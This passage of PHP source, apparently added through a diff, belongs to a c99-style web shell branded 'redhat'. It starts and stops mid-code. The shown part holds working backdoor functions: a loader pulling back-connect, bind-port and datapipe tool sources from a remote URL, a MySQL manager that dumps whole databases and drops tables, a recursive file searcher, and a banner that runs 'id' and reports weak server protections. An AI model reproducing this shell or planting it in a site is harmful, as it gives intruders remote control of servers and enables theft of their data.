"x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return FALSE;} +} +} + +if (!function_exists("mysql_dump")){ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by redhat.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>redhat v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = TRUE; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" 